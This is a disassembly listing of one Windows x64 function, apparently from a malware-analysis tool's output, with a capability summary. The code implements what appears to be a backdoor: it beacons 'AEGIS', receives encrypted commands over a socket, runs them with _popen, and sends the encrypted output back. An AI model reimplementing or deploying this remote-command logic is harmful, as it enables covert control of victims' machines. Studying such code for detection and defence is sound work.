Function at 0x140001520
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket
Terminate process

Disassembly:
push rsi
push rdi
sub rsp, 0x68
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x38], 0
call fcn.140001000
lea rax, [0x140005650]
lea rcx, str.AEGIS
mov rdi, rax
mov rsi, rcx
mov ecx, 6
rep movsb byte [rdi], byte [rsi]
movzx eax, byte [reloc.WS2_32.dll_connect]
mov byte [0x140005656], al
lea rax, [0x140005657]
lea rcx, [0x140007670]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x40
rep movsb byte [rdi], byte [rsi]
mov r9d, 0x47
lea r8, [0x1400076d0]
lea rdx, [0x1400076b0]
lea rcx, [0x140005650]
call qword [0x140007668]
xor r9d, r9d
mov r8d, 0x47
lea rdx, [0x140005650]
mov rcx, qword [0x140007660]
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
mov r8d, 8
lea rdx, [0x140006660]
mov rcx, qword [0x140007660]
call qword [sym.imp.WS2_32.dll_recv]
mov r9d, 8
lea r8, [0x1400076d0]
lea rdx, [0x1400076b0]
lea rcx, [0x140006660]
call qword [0x140007668]
mov rax, qword [0x140006660]
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov r8d, dword [rsp + 0x40]
lea rdx, [0x140006660]
mov rcx, qword [0x140007660]
call qword [sym.imp.WS2_32.dll_recv]
mov r9, qword [rsp + 0x40]
lea r8, [0x1400076d0]
lea rdx, [0x1400076b0]
lea rcx, [0x140006660]
call qword [0x140007668]
lea rdx, [0x1400032f0]
lea rcx, [0x140006660]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x140001677
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov r8, qword [rsp + 0x28]
mov edx, 0x400
lea rcx, [0x140005650]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
je 0x140001750
lea rax, [0x140005650]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x20], 0xffffffffffffffff
inc qword [rsp + 0x20]
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
cmp byte [rax + rcx], 0
jne 0x1400016ac
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x48], rax
mov r9d, 8
lea r8, [0x1400076d0]
lea rdx, [0x1400076b0]
lea rcx, [rsp + 0x48]
call qword [0x140007668]
xor r9d, r9d
mov r8d, 8
lea rdx, [rsp + 0x48]
mov rcx, qword [0x140007660]
call qword [sym.imp.WS2_32.dll_send]
mov r9, qword [rsp + 0x38]
lea r8, [0x1400076d0]
lea rdx, [0x1400076b0]
lea rcx, [0x140005650]
call qword [0x140007668]
xor r9d, r9d
mov r8d, dword [rsp + 0x38]
lea rdx, [0x140005650]
mov rcx, qword [0x140007660]
call qword [sym.imp.WS2_32.dll_send]
jmp 0x140001677
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x48], rax
mov r9d, 8
lea r8, [0x1400076d0]
lea rdx, [0x1400076b0]
lea rcx, [rsp + 0x48]
call qword [0x140007668]
xor r9d, r9d
mov r8d, 8
lea rdx, [rsp + 0x48]
mov rcx, qword [0x140007660]
call qword [sym.imp.WS2_32.dll_send]
mov qword [rsp + 0x38], 9
lea rax, [0x140005650]
lea rcx, str.AEGIS_END
mov rdi, rax
mov rsi, rcx
mov ecx, 9
rep movsb byte [rdi], byte [rsi]
mov r9, qword [rsp + 0x38]
lea r8, [0x1400076d0]
lea rdx, [0x1400076b0]
lea rcx, [0x140005650]
call qword [0x140007668]
xor r9d, r9d
mov r8d, dword [rsp + 0x38]
lea rdx, [0x140005650]
mov rcx, qword [0x140007660]
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
mov r8d, 1
lea rdx, [0x140006650]
mov rcx, qword [0x140007660]
call qword [sym.imp.WS2_32.dll_recv]
mov r9d, 1
lea r8, [0x1400076d0]
lea rdx, [0x1400076b0]
lea rcx, [0x140006650]
call qword [0x140007668]
mov rcx, qword [0x140007660]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140001930
add rsp, 0x68
pop rdi
pop rsi
ret